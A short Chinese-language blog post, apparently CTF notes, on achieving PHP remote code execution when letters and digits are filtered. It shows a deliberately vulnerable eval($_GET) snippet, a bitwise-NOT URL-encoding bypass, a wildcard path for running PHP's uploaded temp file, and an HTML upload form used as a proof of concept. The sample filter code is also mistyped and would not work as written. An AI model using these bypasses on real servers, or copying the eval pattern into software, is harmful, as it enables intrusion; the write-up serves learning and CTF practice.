phprce

最近学到的phpRCE

无数字字母rce

顾名思义,就是题目把数字和字母全都过滤了,如下

1
2
3
4
<?php
if(!preg_mach("/A-Z0-9a-z/is",$_GET["CMD"]))
eval($_GET["CMD"]);
?>

取反操作

这样就导致不能出现任何数字字母,那么这样就得用到取反操作,就是先把我们需要执行的语句进行url编码再进行取反,其格式为

1
2
3
<?php
echo urlencode(~'phpinfo();');
?>

那么这样就能将其绕过

执行临时文件里的内容

这个方法来自p🐂的文章,看完过后我大为惊叹。

前置知识

通配符

在linux中,被``包裹起来的字符串可以被当作linux命令来执行,并且. 1.php表示执行1.php文件,那么我们就只需要上传一个可控的文件上去即可,

这时候就需要利用到临时文件了,具体可以看p🐂文章,临时文件的文件名是php开头后面跟六个随机字母,最后一个有可能是大写字母,那么我们的命令只需要写成. /???/????????/[@-[]即可,[前面的/是转义字符,不用写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>POC</title>
</head>
<body>
<form action="http://192.168.2.128" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

其中action改成题目的网址,然后在这个表单上上传文件,并且在bp中抓包输入我们需要自己执行的语句,这样就可以了

参考链接:

https://www.xiinnn.com/article/c61c3788.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html?page=2#reply-list


phprce
https://zoceanyq.github.io/2022/10/06/phprce/
作者
ocean
发布于
2022年10月6日
许可协议